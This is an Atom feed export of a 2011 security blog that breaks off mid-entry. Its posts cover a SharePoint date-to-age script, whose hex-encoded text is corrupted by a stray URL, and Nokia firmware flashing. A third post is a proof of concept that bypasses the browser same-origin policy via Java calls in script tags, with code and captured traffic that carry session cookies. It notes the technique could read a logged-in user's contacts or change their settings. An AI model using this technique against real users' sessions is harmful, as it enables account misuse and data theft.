<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-299402845849981080</id><updated>2011-08-24T05:56:22.437-07:00</updated><title type='text'>My thoughts on application security</title><subtitle type='html'>The Borg are a fictional pseudo-race of cybernetic organisms depicted in the Star Trek universe. Primarily as an invasion threat to the United Federation of Planets, the Borg have become a symbol in popular culture for any juggernaut against which "resistance is futile".</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://securityborg.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/299402845849981080/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://securityborg.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>btechcs</name><uri>http://www.blogger.com/profile/17013048902515366122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://3.bp.blogspot.com/-3Hbok_pjTXM/Tbjww3vl3LI/AAAAAAAAACg/65Xp5tkxycs/s220/passport.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>16</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-299402845849981080.post-4574220368659897667</id><published>2011-05-12T04:39:00.000-07:00</published><updated>2011-05-13T13:25:15.072-07:00</updated><title type='text'>DOM level JavaScript: How to get Date fields in MOSS 2007 to appear as Age</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/-eGDVTSrvKrU/TcvKRvw_GmI/AAAAAAAAADA/kJh7jkbGwJc/s1600/Greenshot_2011-05-12_17-22-53.png"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 231px; height: 73px;" src="http://3.bp.blogspot.com/-eGDVTSrvKrU/TcvKRvw_GmI/AAAAAAAAADA/kJh7jkbGwJc/s320/Greenshot_2011-05-12_17-22-53.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5605796567421229666" /&gt;&lt;/a&gt;We were looking for a way to display the age of an entry in SharePoint list for which creation date was specified. Since now using [today] in formula in SharePoint is not allowed, and we did not want to create redundant fields, we decided to weave a DOM level JavaScript to change the date value to Age, based on the today's date. Here's the code to use to replace date with age:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&amp;#x3c;&amp;#x73;&amp;#x63;&amp;#x72;&amp;#x69;&amp;#x70;&amp;#x74;&amp;#x3e;&amp;#x0a;&amp;#x24;&amp;#x28;&amp;#x22;&amp;#x23;&amp;#x74;&amp;#x61;&amp;#x62;&amp;#x6c;&amp;#x65;&amp;#x49;&amp;#x44;&amp;#x20;&amp;#x6e;&amp;#x6f;&amp;#x62;&amp;#x72;&amp;#x22;&amp;#x29;&amp;#x2e;&amp;#x65;&amp;#x61;&amp;#x63;&amp;#x68;&amp;#x28;&amp;#x66;&amp;#x75;&amp;#x6e;&amp;#x63;&amp;#x74;&amp;#x69;&amp;#x6f;&amp;#x6e;&amp;#x28;&amp;#x29;&amp;#x7b;&amp;#x0a;&amp;#x20;&amp;#x76;&amp;#x61;&amp;#x72;&amp;#x20;&amp;#x63;&amp;#x20;&amp;#x3d;&amp;#x20;&amp;#x6e;&amp;#x65;&amp;#x77;&amp;#x20;&amp;#x44;&amp;#x61;&amp;#x74;&amp;#x65;&amp;#x28;&amp;#x24;&amp;#x28;&amp;#x74;&amp;#x68;&amp;#x69;&amp;#x73;&amp;#x29;&amp;#x2e;&amp;#x74;&amp;#x65;&amp;#x78;&amp;#x74;&amp;#x28;&amp;#x29;&amp;#x29;&amp;#x3b;&amp;#x20;&amp;#x0a;&amp;#x76;&amp;#x61;&amp;#x72;&amp;#x20;&amp;#x62;&amp;#x20;&amp;#x3d;&amp;#x20;&amp;#x6e;&amp;#x65;&amp;#x7http://www.blogger.com/img/blank.gif7;&amp;#x20;&amp;#x44;&amp;#x61;&amp;#x74;&amp;#x65;&amp;#x28;&amp;#x29;&amp;#x3b;&amp;#x20;&amp;#x0a;&amp;#x76;&amp;#x61;&amp;#x72;&amp;#x20;&amp;#x64;&amp;#x69;&amp;#x66;&amp;#x66;&amp;#x20;&amp;#x3d;&amp;#x20;&amp;#x28;&amp;#x62;&amp;#x2e;&amp;#x67;&amp;#x65;&amp;#x74;&amp;#x54;&amp;#x69;&amp;#x6d;&amp;#x65;&amp;#x28;&amp;#x29;&amp;#x20;&amp;#x2d;&amp;#x20;&amp;#x63;&amp;#x2e;&amp;#x67;&amp;#x65;&amp;#x74;&amp;#x54;&amp;#x69;&amp;#x6d;&amp;#x65;&amp;#x28;&amp;#x29;&amp;#x29;&amp;#x2f;&amp;#x28;&amp;#x32;&amp;#x34;&amp;#x2a;&amp;#x33;&amp;#x36;&amp;#x30;&amp;#x30;&amp;#x2a;&amp;#x31;&amp;#x30;&amp;#x30;&amp;#x30;&amp;#x29;&amp;#x3b;&amp;#x20;&amp;#x0a;&amp;#x24;&amp;#x28;&amp;#x74;&amp;#x68;&amp;#x69;&amp;#x73;&amp;#x29;&amp;#x2e;&amp;#x68;&amp;#x74;&amp;#x6d;&amp;#x6c;&amp;#x28;&amp;#x4d;&amp;#x61;&amp;#x74;&amp;#x68;&amp;#x2e;&amp;#x63;&amp;#x65;&amp;#x69;&amp;#x6c;&amp;#x28;&amp;#x64;&amp;#x69;&amp;#x66;&amp;#x66;&amp;#x29;&amp;#x20;&amp;#x2b;&amp;#x20;&amp;#x22;&amp;#x20;&amp;#x64;&amp;#x61;&amp;#x79;&amp;#x73;&amp;#x22;&amp;#x29;&amp;#x3b;&amp;#x7d;&amp;#x29;&amp;#x0a;&amp;#x3c;&amp;#x2f;&amp;#x73;&amp;#x63;&amp;#x72;&amp;#x69;&amp;#x70;&amp;#x74;&amp;#x3e;&amp;#x0a;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://thenextweb.com/apps/2011/05/11/angry-birds-for-chrome-already-hacked-unlocking-all-levels/"&gt;Here's another use of DOM level javascript, used to unlock levels in angry birds chrome. &lt;br /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/299402845849981080-4574220368659897667?l=securityborg.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://securityborg.blogspot.com/feeds/4574220368659897667/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://securityborg.blogspot.com/2011/05/how-to-get-date-fields-in-moss-2007-to.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/299402845849981080/posts/default/4574220368659897667'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/299402845849981080/posts/default/4574220368659897667'/><link rel='alternate' type='text/html' href='http://securityborg.blogspot.com/2011/05/how-to-get-date-fields-in-moss-2007-to.html' title='DOM level JavaScript: How to get Date fields in MOSS 2007 to appear as Age'/><author><name>btechcs</name><uri>http://www.blogger.com/profile/17013048902515366122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://3.bp.blogspot.com/-3Hbok_pjTXM/Tbjww3vl3LI/AAAAAAAAACg/65Xp5tkxycs/s220/passport.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-eGDVTSrvKrU/TcvKRvw_GmI/AAAAAAAAADA/kJh7jkbGwJc/s72-c/Greenshot_2011-05-12_17-22-53.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-299402845849981080.post-8086961960606040568</id><published>2011-05-08T21:45:00.000-07:00</published><updated>2011-05-08T22:12:45.538-07:00</updated><title type='text'>Notes on flashing nokia 5230 with nokia c6 firmware</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://forum.smartphonegeeks.in/index.php?topic=7.0"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 288px; height: 512px;" src="https://lh5.googleusercontent.com/_mcEfLr7qw58/TaBbCO68CxI/AAAAAAAACUk/TM3iBrB3ZDY/s512/SPG000006.jpg" border="0" alt="" /&gt;&lt;/a&gt;First of all, my thanks to Rohit for his great work on porting the c6 firmware on nokia 5230. You can read about his work &lt;a href="http://forum.smartphonegeeks.in/index.php?topic=7.0"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Now, I have a nokia 5230 which comes with a good firmware, but unlike the more expensive c6 or c7 does not come with the nokia widget screen. So here are the steps used.&lt;br /&gt;&lt;br /&gt;BACKUP YOUR PHONE BEFORE YOU DO THIS. &lt;br /&gt;&lt;br /&gt;1. Download the latest port and core FW for your phone. Make sure you download the FW for your existing firmware version (use *#0000# on you device to know your FW version).&lt;br /&gt;&lt;br /&gt;2. Copy all the files downloaded to this location (Here RM-588 is product version info from the same screen, make sure you have ovi suite installed)&lt;br /&gt;C:\Program Files (x86)\Nokia\Phoenix\Products\RM-588&lt;br /&gt;&lt;br /&gt;3. So here's what I have in my nokia location:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span"  &gt;&lt;br /&gt;Directory of C:\Program Files (x86)\Nokia\Phoenix\Products\RM-588&lt;br /&gt;&lt;br /&gt;RM-588_40.0.003_prd.core.C00&lt;br /&gt;RM-588_40.6.003_prd.rofs2.V21&lt;br /&gt;RM588_0585690_40.0.003_001.dcp&lt;br /&gt;RM588_0585690_40.0.003_001.vpl&lt;br /&gt;RM588_0585690_40.0.003_001_signature.bin&lt;br /&gt;RM588_40.0.003_001_001_U001.uda.fpsx&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;3. Now you must install JAF, and downlaod JAF pkey Emulator.&lt;br /&gt;&lt;br /&gt;4. Then use &lt;a href="http://forum.dailymobile.se/index.php?topic=17667.0"&gt;this tutorial to flash&lt;/a&gt; the phone.&lt;br /&gt;&lt;br /&gt;5. In case you have an old copy of JAF, the ini file will not show you device. Use the below device string for nokia 5230:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;[RM-588]&lt;br /&gt;Description=Nokia 5230 CABLE&lt;br /&gt;_prd.rofs2.v01=English,Finnish,Swedish,Norway,Islandic,Danish&lt;br /&gt;_prd.rofs2.v02=English,French,Turkish,German,Dutch&lt;br /&gt;_prd.rofs2.v03=English,French,German,Italian,Spanish,Portuguese&lt;br /&gt;_prd.rofs2.v04=English,German,Estonian,Russian,Lativian,Lithuanian&lt;br /&gt;_prd.rofs2.v05=English,German,Hungarian,Ukrainian,Russian,Romanian,Bulgarian&lt;br /&gt;_prd.rofs2.v06=English,Czech,Slovakian,German,Polish,Hungarian&lt;br /&gt;_prd.rofs2.v07=English,German,Croatian,Serbian,Greek&lt;br /&gt;_prd.rofs2.v08=English,Hebrew,Arabic,Russian,Spanish&lt;br /&gt;_prd.rofs2.v09=English,Romanian,Russian,Spanish&lt;br /&gt;_prd.rofs2.v11=English,Arabic,French&lt;br /&gt;_prd.rofs2.v12=English,Arabic,Farsi&lt;br /&gt;_prd.rofs2.v13=English,Arabic,Farsi,Urdu&lt;br /&gt;_prd.rofs2.v14=English,Arabic,French&lt;br /&gt;_prd.rofs2.v18=English,Thailand,Chinese Simpl,Chinese Trad&lt;br /&gt;_prd.rofs2.v19=English,Philipines,Bangladesh,Australia,Indonesia,India,Vietnam,New Zealand&lt;br /&gt;_prd.rofs2.v20=English,Vietnamese,Tagalog,Chinese Simpl,Chinese Trad&lt;br /&gt;_prd.rofs2.v22=English,Singapore,Indonisia,Malasia&lt;br /&gt;_prd.rofs2.v23=English,Chinese Simpl,Chinese Trad (Hong Kong)&lt;br /&gt;_prd.rofs2.v24=English,Simpl Chinese,Trad Chinese&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/299402845849981080-8086961960606040568?l=securityborg.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://securityborg.blogspot.com/feeds/8086961960606040568/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://securityborg.blogspot.com/2011/05/notes-on-flashing-nokia-5230-with-nokia.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/299402845849981080/posts/default/8086961960606040568'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/299402845849981080/posts/default/8086961960606040568'/><link rel='alternate' type='text/html' href='http://securityborg.blogspot.com/2011/05/notes-on-flashing-nokia-5230-with-nokia.html' title='Notes on flashing nokia 5230 with nokia c6 firmware'/><author><name>btechcs</name><uri>http://www.blogger.com/profile/17013048902515366122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://3.bp.blogspot.com/-3Hbok_pjTXM/Tbjww3vl3LI/AAAAAAAAACg/65Xp5tkxycs/s220/passport.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='https://lh5.googleusercontent.com/_mcEfLr7qw58/TaBbCO68CxI/AAAAAAAACUk/TM3iBrB3ZDY/s72-c/SPG000006.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-299402845849981080.post-8962022746116920826</id><published>2011-04-27T06:36:00.000-07:00</published><updated>2011-04-27T22:57:46.363-07:00</updated><title type='text'>How to workaround the Same origin policy using crossdomain.xml and Java in &amp;ltscript&amp;gt tags</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-Ti_Nn3au8PI/Tbghwk18XZI/AAAAAAAAACU/lH7C62WdR9g/s1600/Greenshot_2011-04-27_19-30-57.png"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 244px; height: 320px;" src="http://1.bp.blogspot.com/-Ti_Nn3au8PI/Tbghwk18XZI/AAAAAAAAACU/lH7C62WdR9g/s320/Greenshot_2011-04-27_19-30-57.png" alt="" id="BLOGGER_PHOTO_ID_5600263255042579858" border="0" /&gt;&lt;/a&gt;I was just messing around with &lt;a href="http://www.mozilla.org/rhino/ScriptingJava.html"&gt;calling java classes in JavaScript (ff4)&lt;/a&gt; when it registered, that one can use a lenient crossdomain.xml policy for java.net to make request and response to a completely different server in applet container, therefore working around the cross domain policy.&lt;br /&gt;&lt;br /&gt;So I started with Flickr (since there are many&lt;a href="http://weblogs.java.net/blog/joshy/archive/2008/05/java_doodle_cro.html"&gt; flicker applet apps&lt;/a&gt; from which feed connection code can be borrowed), below is the cross domain policy on api.flickr.com.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://api.flickr.com/crossdomain.xml"&gt;http://api.flickr.com/crossdomain.xml&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Then I borrowed the applet code (a hello world example on how to use java.net), and modified the same to execute in JavaScript tags and fetch the Flickr atom feed. The result is the request response from blogger to flickr (you can also call alert() if you prefer, as with below example) textbox with the response to the Flickr feeds request.&lt;br /&gt;&lt;br /&gt;&lt;input onclick="callflickr()" value="Click Here to see yourself" type="button"&gt; Currently works only on firefox. &lt;a href="http://api.flickr.com/services/feeds/photos_public.gne?id=31706743@N00&amp;amp;lang=en-us&amp;amp;format=atom"&gt;Compare with original feed&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;blockquote&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;var urlStr = new java.net.URL("http://api.flickr.com/services/feeds/photos_public.gne?id=31706743@N00&amp;amp;lang=en-us&amp;amp;format=atom");&lt;br /&gt;var urlCn = urlStr.openConnection();&lt;br /&gt;var a = new java.io.BufferedReader(new java.io.InputStreamReader(urlCn.getInputStream()));&lt;br /&gt;var b = urlCn.getHeaderField(0);&lt;br /&gt;b = b+"\n"+urlCn.getHeaderFieldKey(1)+": "+urlCn.getHeaderField(1);&lt;br /&gt;b = b+"\n"+urlCn.getHeaderFieldKey(2)+": "+urlCn.getHeaderField(2);&lt;br /&gt;b = b+"\n"+urlCn.getHeaderFieldKey(3)+": "+urlCn.getHeaderField(3);&lt;br /&gt;b = b+"\n"+urlCn.getHeaderFieldKey(4)+": "+urlCn.getHeaderField(4);&lt;br /&gt;b = b+"\n"+urlCn.getHeaderFieldKey(5)+": "+urlCn.getHeaderField(5);&lt;br /&gt;b = b+"\n"+urlCn.getHeaderFieldKey(6)+": "+urlCn.getHeaderField(6);&lt;br /&gt;b = b+"\n"+urlCn.getHeaderFieldKey(7)+": "+urlCn.getHeaderField(7);&lt;br /&gt;b = b+"\n\n"&lt;br /&gt;var inputLine = "";&lt;br /&gt;while ((inputLine = a.readLine()) != null)&lt;br /&gt;   b = b+"\n"+inputLine;&lt;br /&gt;//c=document.getElementById("page_content")&lt;br /&gt;//c.innerHTML = b;&lt;br /&gt;var f = new java.awt.Frame("TEST");&lt;br /&gt;var ta = new java.awt.TextArea(b, 45, 600);&lt;br /&gt;f.add("Center", ta);&lt;br /&gt;f.pack( );&lt;br /&gt;f.show( );&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;span style="font-size:85%;"&gt;BTW, the cookies set for flickr.com does go with this api call. This means, if cross domain policy allows, one can call applications actions on flickr.com and use the response (read, export contacts of the logged-in user or change settings).&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;style&gt;.REQUEST { font: 8pt Courier New; color: blue;} .RESPONSE { font: 8pt Courier New; color: green;}&lt;/style&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th&gt;#&lt;/th&gt;&lt;th&gt;Result&lt;/th&gt;&lt;th&gt;Protocol&lt;/th&gt;&lt;th&gt;Host&lt;/th&gt;&lt;th&gt;URL&lt;/th&gt;&lt;th&gt;Body&lt;/th&gt;&lt;th&gt;Caching&lt;/th&gt;&lt;th&gt;Content-Type&lt;/th&gt;&lt;th&gt;Process&lt;/th&gt;&lt;th&gt;Comments&lt;/th&gt;&lt;th&gt;Custom&lt;/th&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;113&lt;/td&gt;&lt;td&gt;200&lt;/td&gt;&lt;td&gt;HTTP&lt;/td&gt;&lt;td&gt;api.flickr.com&lt;/td&gt;&lt;td&gt;/crossdomain.xml&lt;/td&gt;&lt;td&gt;265&lt;/td&gt;&lt;td&gt;private  &lt;/td&gt;&lt;td&gt;text/xml&lt;/td&gt;&lt;td&gt;java:6600&lt;/td&gt;&lt;td&gt;&lt;br /&gt;&lt;/td&gt;&lt;td&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;style&gt;.REQUEST { font: 8pt Courier New; color: blue;} .RESPONSE { font: 8pt Courier New; color: green;}&lt;/style&gt;&lt;span class="REQUEST"&gt;GET /crossdomain.xml HTTP/1.1&lt;br /&gt;User-Agent: Mozilla/4.0 (Windows 7 6.1) Java/1.6.0_20&lt;br /&gt;Host: api.flickr.com&lt;br /&gt;Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2&lt;br /&gt;Proxy-Connection: keep-alive&lt;br /&gt;Cookie: BX=2ue9vrd6rhvda&amp;amp;b=3&amp;amp;s=s7; localization=en-us%3Bau%3Bau; search_z=t&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="RESPONSE"&gt;HTTP/1.1 200 OK&lt;br /&gt;Date: Thu, 28 Apr 2011 05:42:03 GMT&lt;br /&gt;P3P: policyref="http://p3p.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV"&lt;br /&gt;Vary: Accept-Encoding&lt;br /&gt;X-Served-By: www151.flickr.mud.yahoo.com&lt;br /&gt;Cache-Control: private&lt;br /&gt;Content-Type: text/xml&lt;br /&gt;Content-length: 265&lt;br /&gt;Connection: Keep-Alive&lt;br /&gt;&lt;br /&gt;&amp;lt;!--?xml version=&amp;quot;1.0&amp;quot;?--&amp;gt;  &amp;lt;cross-domain-policy&amp;gt;   &amp;lt;allow-access-from domain=&amp;quot;*&amp;quot;&amp;gt;  &amp;lt;site-control policies=&amp;quot;master-only&amp;quot;&amp;gt; &amp;lt;/site-control&amp;gt;&amp;lt;/allow-access-from&amp;gt;&amp;lt;/cross-domain-policy&amp;gt; &lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;style&gt;.REQUEST { font: 8pt Courier New; color: blue;} .RESPONSE { font: 8pt Courier New; color: green;}&lt;/style&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th&gt;#&lt;/th&gt;&lt;th&gt;Result&lt;/th&gt;&lt;th&gt;Protocol&lt;/th&gt;&lt;th&gt;Host&lt;/th&gt;&lt;th&gt;URL&lt;/th&gt;&lt;th&gt;Body&lt;/th&gt;&lt;th&gt;Caching&lt;/th&gt;&lt;th&gt;Content-Type&lt;/th&gt;&lt;th&gt;Process&lt;/th&gt;&lt;th&gt;Comments&lt;/th&gt;&lt;th&gt;Custom&lt;/th&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;114&lt;/td&gt;&lt;td&gt;301&lt;/td&gt;&lt;td&gt;HTTP&lt;/td&gt;&lt;td&gt;www.macromedia.com&lt;/td&gt;&lt;td&gt;/xml/dtds/cross-domain-policy.dtd&lt;/td&gt;&lt;td&gt;261&lt;/td&gt;&lt;td&gt;max-age=900  Expires: Thu, 28 Apr 2011 05:53:41 GMT&lt;/td&gt;&lt;td&gt;text/html; charset=iso-8859-1&lt;/td&gt;&lt;td&gt;java:6600&lt;/td&gt;&lt;td&gt;&lt;br /&gt;&lt;/td&gt;&lt;td&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt; &lt;/span&gt;&lt;style&gt;.REQUEST { font: 8pt Courier New; color: blue;} .RESPONSE { font: 8pt Courier New; color: green;}&lt;/style&gt;&lt;span class="REQUEST"&gt;GET /xml/dtds/cross-domain-policy.dtd HTTP/1.1&lt;br /&gt;User-Agent: Mozilla/4.0 (Windows 7 6.1) Java/1.6.0_20&lt;br /&gt;Host: www.macromedia.com&lt;br /&gt;Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2&lt;br /&gt;Proxy-Connection: keep-alive&lt;br /&gt;Cookie: BCSI-CS9B232E0E=2&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="RESPONSE"&gt;HTTP/1.1 301 Moved Permanently&lt;br /&gt;Date: Thu, 28 Apr 2011 05:38:41 GMT&lt;br /&gt;Server: Apache&lt;br /&gt;Location: http://www.adobe.com/xml/dtds/cross-domain-policy.dtd&lt;br /&gt;Cache-Control: max-age=900&lt;br /&gt;Expires: Thu, 28 Apr 2011 05:53:41 GMT&lt;br /&gt;Content-Type: text/html; charset=iso-8859-1&lt;br /&gt;Content-length: 261&lt;br /&gt;Connection: Keep-Alive&lt;br /&gt;Age: 201&lt;br /&gt;&lt;br /&gt; &amp;lt;title&amp;gt;301 Moved Permanently&amp;lt;/title&amp;gt;  &amp;lt;h1&amp;gt;Moved Permanently&amp;lt;/h1&amp;gt; &amp;lt;p&amp;gt;The document has moved &amp;lt;a href=&amp;quot;http://www.adobe.com/xml/dtds/cross-domain-policy.dtd&amp;quot;&amp;gt;here&amp;lt;/a&amp;gt;.&amp;lt;/p&amp;gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;style&gt;.REQUEST { font: 8pt Courier New; color: blue;} .RESPONSE { font: 8pt Courier New; color: green;}&lt;/style&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th&gt;#&lt;/th&gt;&lt;th&gt;Result&lt;/th&gt;&lt;th&gt;Protocol&lt;/th&gt;&lt;th&gt;Host&lt;/th&gt;&lt;th&gt;URL&lt;/th&gt;&lt;th&gt;Body&lt;/th&gt;&lt;th&gt;Caching&lt;/th&gt;&lt;th&gt;Content-Type&lt;/th&gt;&lt;th&gt;Process&lt;/th&gt;&lt;th&gt;Comments&lt;/th&gt;&lt;th&gt;Custom&lt;/th&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;116&lt;/td&gt;&lt;td&gt;200&lt;/td&gt;&lt;td&gt;HTTP&lt;/td&gt;&lt;td&gt;api.flickr.com&lt;/td&gt;&lt;td&gt;/services/feeds/photos_public.gne?id=31706743@N00&amp;amp;lang=en-us&amp;amp;format=atom&lt;/td&gt;&lt;td&gt;27,652&lt;/td&gt;&lt;td&gt;no-store, no-cache, must-revalidate, private  Expires: Mon, 26 Jul 1997 05:00:00 GMT&lt;/td&gt;&lt;td&gt;application/atom+xml; charset=utf-8&lt;/td&gt;&lt;td&gt;java:6600&lt;/td&gt;&lt;td&gt;&lt;br /&gt;&lt;/td&gt;&lt;td&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&lt;style&gt;.REQUEST { font: 8pt Courier New; color: blue;} .RESPONSE { font: 8pt Courier New; color: green;}&lt;/style&gt;&lt;span class="REQUEST"&gt;GET /services/feeds/photos_public.gne?id=31706743@N00&amp;amp;lang=en-us&amp;amp;format=atom HTTP/1.1&lt;br /&gt;accept-encoding: gzip&lt;br /&gt;Host: api.flickr.com&lt;br /&gt;Cache-Control: no-cache&lt;br /&gt;Pragma: no-cache&lt;br /&gt;User-Agent: Mozilla/4.0 (Windows 7 6.1) Java/1.6.0_20&lt;br /&gt;Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2&lt;br /&gt;Proxy-Connection: keep-alive&lt;br /&gt;If-Modified-Since: Mon, 25 Apr 2011 04:16:01 GMT&lt;br /&gt;Cookie: BX=2ue9vrd6rhvda&amp;amp;b=3&amp;amp;s=s7; localization=en-us%3Bau%3Bau; search_z=t&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="RESPONSE"&gt;&lt;br /&gt;HTTP/1.1 200 OK&lt;br /&gt;Date: Thu, 28 Apr 2011 05:42:04 GMT&lt;br /&gt;P3P: policyref="http://p3p.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV"&lt;br /&gt;Expires: Mon, 26 Jul 1997 05:00:00 GMT&lt;br /&gt;Last-Modified: Mon, 25 Apr 2011 04:16:01 GMT&lt;br /&gt;Cache-Control: no-store, no-cache, must-revalidate, private&lt;br /&gt;Cache-Control: post-check=0, pre-check=0&lt;br /&gt;Pragma: no-cache&lt;br /&gt;X-Served-By: www78.flickr.mud.yahoo.com&lt;br /&gt;Content-Type: application/atom+xml; charset=utf-8&lt;br /&gt;Connection: Keep-Alive&lt;br /&gt;Content-Length: 27652&lt;br /&gt;&lt;br /&gt;&amp;lt;!--?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot; standalone=&amp;quot;yes&amp;quot;?--&amp;gt; &amp;lt;feed xmlns=&amp;quot;http://www.w3.org/2005/Atom&amp;quot; dc=&amp;quot;http://purl.org/dc/elements/1.1/&amp;quot; flickr=&amp;quot;urn:flickr:&amp;quot; media=&amp;quot;http://search.yahoo.com/mrss/&amp;quot;&amp;gt;    &amp;lt;title&amp;gt;Uploads from Joshua Marinacci&amp;lt;/title&amp;gt;   &amp;lt;link rel=&amp;quot;self&amp;quot; href=&amp;quot;http://api.flickr.com/services/feeds/photos_public.gne?id=31706743@N00&amp;amp;amp;lang=en-us&amp;amp;amp;format=atom&amp;quot;&amp;gt;   &amp;lt;link rel=&amp;quot;alternate&amp;quot; type=&amp;quot;text/html&amp;quot; href=&amp;quot;http://www.flickr.com/photos/joshyx/&amp;quot;&amp;gt;   &amp;lt;id&amp;gt;tag:flickr.com,2005:/photos/public/1850619&amp;lt;/id&amp;gt;   &amp;lt;icon&amp;gt;http://farm1.static.flickr.com/60/buddyicons/31706743@N00.jpg?1184425730#31706743@N00&amp;lt;/icon&amp;gt;   &amp;lt;subtitle&amp;gt;&amp;lt;/subtitle&amp;gt;   &amp;lt;updated&amp;gt;2011-04-25T04:16:01Z&amp;lt;/updated&amp;gt;   &amp;lt;/feed&amp;gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/299402845849981080-8962022746116920826?l=securityborg.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://securityborg.blogspot.com/feeds/8962022746116920826/comments/default' title='Post Comments'/><link rel='replies' type='text/html' 